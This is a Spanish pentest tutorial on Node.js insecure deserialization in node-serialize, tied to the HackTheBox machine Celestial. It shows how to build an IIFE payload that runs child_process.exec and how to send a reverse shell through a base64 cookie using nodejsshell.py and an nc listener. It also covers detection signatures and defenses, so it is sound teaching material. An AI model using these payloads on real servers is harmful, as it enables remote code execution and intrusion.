Node.js Insecure Deserialization
Arsenal completo de comandos en la cheatsheetLa deserialización insegura en Node.js ocurre cuando una aplicación reconstruye objetos JavaScript a partir de datos que controla el usuario (una cookie, un parámetro, un cuerpo de petición) usando una biblioteca que acepta funciones dentro del dato serializado. El módulo clásico es node-serialize: su unserialize() no solo recrea objetos, también ejecuta las funciones que encuentre, lo que convierte un dato manipulable en ejecución de código.
Por qué pasa. node-serialize extiende el JSON con un marcador especial, _$$ND_FUNC$$_, que le dice "esto no es texto, es una función, recréala". Al deserializar, la biblioteca hace eval de esa cadena para devolver la función. Por sí sola, una función definida no se ejecuta; pero si se le añaden unos paréntesis () al final (una Immediately Invoked Function Expression, IIFE), se invoca en el mismo momento de la reconstrucción. Ese es el truco que dispara el código.
Cómo se construye el payload. Lo fiable es generar la cadena con el propio serialize() del módulo (así el formato encaja exacto) y luego añadir el () a mano sobre la cadena ya serializada. Si se mete el IIFE antes de serializar, la función se ejecuta durante el serialize() y se guarda su valor de retorno (undefined) en lugar de la función.
var y = { rce : function(){ require('child_process').exec('id'); } };
var serialize = require('node-serialize');
console.log(serialize.serialize(y)); // produce la cadena con _$$ND_FUNC$$_El resultado se transforma en {"rce":"_$$ND_FUNC$$_function(){...}()"}, donde el () final es lo que provoca la ejecución al deserializar.
# payload final listo para la cookie (reverse shell). Generar la carga con nodejsshell.py:
python2 nodejsshell.py <lhost> <lport> # imprime eval(String.fromCharCode(...))
# y envolverla en el objeto node-serialize con el () al final:
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(...))}()"}
# meterla en la cookie (base64 + url-encode) con un listener nc -lvnp <lport> escuchandoCómo se entrega. Hay que mirar cómo viaja el dato: muchas aplicaciones guardan el objeto en una cookie codificada en base64. Si al decodificarla aparece un JSON cuyos campos se reflejan en la respuesta, es señal de que el servidor deserializa y usa lo que enviamos. Se sustituye la cookie por el objeto malicioso (codificado en base64, a menudo también URL-encoded para que no se rompa) y se acompaña de un listener para recibir la reverse shell. Para sortear caracteres especiales suele usarse una carga generada como eval(String.fromCharCode(...)) (por ejemplo con nodejsshell.py).
Indicio frente a prueba. Que un campo de la cookie se refleje sugiere deserialización, pero no la confirma: podría ser un simple JSON.parse. La prueba es la ejecución (un id, una conexión saliente). Conviene validar con una prueba inocua antes de lanzar la shell.
Cómo detectarlo. La firma es inconfundible: el marcador _$$ND_FUNC$$_ en una cookie o parámetro (a menudo tras base64, así que hay que decodificar para verlo), junto con cadenas como child_process, require( o String.fromCharCode. Un WAF que decodifique base64 y busque ese marcador lo caza. En el host, la confirmación es el proceso node lanzando sh/bash (vía child_process.exec) como hijo tras procesar la petición (auditd/Sysmon for Linux sobre execve con ppid=node).
Defensa. No usar node-serialize ni unserialize() sobre datos de usuario; serializar solo con JSON.parse/JSON.stringify (que no ejecutan funciones); firmar e integrar las cookies de sesión para que no sean manipulables. Relacionado con inyección de plantillas y, en otros lenguajes, con deserialización PHP vía PHAR.
Máquinas donde se aplica
- CelestialHackTheBox